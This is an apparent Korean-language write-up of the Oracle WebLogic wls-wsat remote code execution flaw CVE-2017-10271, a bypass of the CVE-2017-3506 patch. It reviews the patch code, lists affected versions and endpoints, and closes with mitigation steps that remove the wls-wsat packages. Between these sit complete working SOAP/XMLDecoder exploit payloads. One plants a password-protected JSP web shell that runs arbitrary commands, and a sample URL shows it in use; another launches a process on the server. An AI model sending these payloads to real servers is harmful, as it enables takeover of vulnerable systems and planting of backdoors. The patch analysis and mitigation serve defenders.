
Oracle WebLogic CVE-2017-10271 (wls-wsat RCE 우회) 익스플로잇으로, 취약한 서버에서 원격 명령 실행 및 cmd 셸 획득을 위한 PoC 스크립트를 포함합니다.
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용하여 기업 서버에 대규모 원격 공격을 감행했으며, 많은 기업의 서버가 장악되었고, 피해 기업 수는 뚜렷한 증가 추세를 보여 심각한 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 현장 악용 취약점이며, 많은 기업이 아직 적시에 패치를 설치하지 못했습니다. 공식은 2017년 4월에 이 취약점의 패치를 발표했습니다.
CVE-2017-3506 패치 설명:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
단지 역직렬화 전에 validate 함수를 추가했을 뿐이며, qName이 object와 같으면 예외를 던져 종료합니다. 단순하고 강력하다고 할 수 있지만, 여기의 블랙리스트와 같은 수정은 완전히 수정하기 어렵습니다. 생각해볼 만합니다…
이 취약점의 이용 방법은 비교적 간단하여, 공격자는 정교하게 조작된 HTTP 요청만 보내면 대상 서버의 권한을 획득할 수 있어 피해가 막대합니다. 취약점이 비교적 새로운 관계로, 현재에도 많은 호스트가 관련 패치를 업데이트하지 않은 상태입니다. 이번 돌발 사건 이후 공격 건수가 급증하고 많은 새로운 호스트가 장악될 가능성이 높습니다.
Oracle 공식 4월 패치는 CVE-2017-3506 취약점을 완전히 수정하지 못하여 패치를 우회하고 여전히 원격 명령을 실행할 수 있습니다. CVE-2017-10271 현재 우회된 취약점은 공식이 10월에 발표한 패치에서 수정되었습니다.
CVE-2017-10271 (wls-wsat 원격 명령 실행 우회 취약점)
Oracle WebLogic Server10.3.6.0.0 버전
Oracle WebLogic Server12.1.3.0.0 버전
Oracle WebLogic Server12.2.1.1.0 버전
Oracle WebLogic Server12.2.1.2.0 버전
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
wls-wsat에 접근하는 리소스에 대한 접근 제어.
임시 해결 방안
업무에 영향을 주지 않는 전제 하에, 실제 환경 경로에 따라 WebLogic 프로그램의 다음 war 패키지 및 디렉터리를 삭제합니다.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
WebLogic 서비스 또는 시스템을 재시작한 후, 다음 링크 접속 시 404가 발생하는지 확인합니다:
http://ip:port/wls-wsat/CoordinatorPortType11